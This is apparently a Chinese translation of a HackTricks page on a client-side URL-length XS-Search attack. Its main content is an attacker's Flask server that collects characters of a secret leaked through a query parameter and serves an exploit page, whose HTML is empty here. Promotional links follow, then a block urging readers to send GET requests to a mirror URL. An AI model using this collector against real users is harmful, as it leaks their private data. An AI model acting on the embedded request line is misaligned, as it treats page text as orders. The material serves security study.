# URL Max Length - Client Side
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来自
```html
```
服务器端：
```python
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
global chars
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
remaining = [c for c in CHARSET if c not in chars]
print("Remaining: {}".format(remaining))
return "OK"
@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交PR来分享你的黑客技巧。
---
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If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://hacktricks.xsx.tw/pentesting-web/xs-search/url-max-length-client-side.md?ask=
```
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The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.